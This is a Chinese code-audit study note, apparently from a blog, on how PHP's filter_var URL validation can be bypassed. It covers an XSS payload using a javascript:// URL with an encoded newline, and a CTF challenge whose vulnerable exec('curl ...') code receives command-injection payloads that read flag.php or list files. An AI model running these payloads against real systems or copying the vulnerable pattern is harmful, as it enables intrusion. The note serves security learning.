[代码审计Day2] filter_var函数缺陷代码审计
2024-08-27 23:02:59
简介
// composer require "twig/twig"
require 'vendor/autoload.php'; class Template {
private $twig; public function __construct() {
$indexTemplate = '<img ' .
'src="https://loremflickr.com/320/240">' .
'<a href="{{link|escape}}">Next slide »</a>'; // Default twig setup, simulate loading
// index.html file from disk
$loader = new Twig\Loader\ArrayLoader([
'index.html' => $indexTemplate
]);
$this->twig = new Twig\Environment($loader);
} public function getNexSlideUrl() {
$nextSlide = $_GET['nextSlide'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
} public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
} (new Template())->render();
filter_var(variable, filter, options)
variable 必需。规定要过滤的变量。
filter 可选。规定要使用的过滤器的 ID。
options 规定包含标志/选项的数组。检查每个过滤器可能的标志和选项。
FILTER_VALIDATE_URL 过滤器把值作为 URL 进行验证。
eg:
<?
$url=filter_var($_GET['url'],FILTER_VALIDATE_URL);
var_dump($url);
echo '<br>';
$url=htmlspecialchars($url);
var_dump($url);
echo "<a href='$url'>Next slide</a>"
?>
payload:
?url=javascript://comment%250aalert(1);
在JS中//表示单行注释 所以后面的内容均为注释内容 %25是%的url编码 %0a是换行字符的url编码,
因为换行了后面的alert(1)就不在同一行了也不在注释的范围之内了 所以就能执行了
在执行过程中将浏览器发来的payload:javascript://comment%250aalert(1)
先解码成: javascript://comment%0aalert(1)
存储在变量 $url中
然后用户点击链接就会触发弹窗!
简介
1
CTF例题
代码1
// index.php
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");
} }
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
} ?>
代码2
// flag.php
<?php
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>
windows环境下payload:
http://127.0.0.1/test.php?url=test://"|type=flag.php;sec-redclub.com
linux环境下payload
http://192.168.52.129:6666/index.php?url=test://"|ls;"sec-redclub.com http://192.168.52.129:6666/index.php?url=test://"|cat<>ls;"sec-redclub.com
简介
11
------------恢复内容结束------------
最新文章
- 【SAP业务模式】之ICS(五):定价配置
- linux增加自定义path和manpath
- 委托、匿名方法、Lambda表达式的演进
- bzoj2818gcd
- 【HTML】Intermediate1:Span&;Div
- 常用数据库的驱动类/URL/默认端口
- 学习笔记::LCT
- localStorage和sessionStorage总结以及区别
- JavaScript基础知识(数据类型及转换、运算符)
- linux下的外网木马前期要的工具
- windows无法完成安装,若要在此计算机上安装,请重新启动安装
- [Swift]LeetCode483. 最小好进制 | Smallest Good Base
- 卸载postgresql数据库
- RSA 非对称加密,私钥转码为pkcs8 错误总结
- 每天一个linux命令-wc命令
- Postman—使用数据文件
- MatConvNet+Matlab2017a+CUDA8.0安装
- git 基础学习笔记
- [javascript]模块化&;命名污染—from 编程精解
- windows下实现屏幕分享(C#)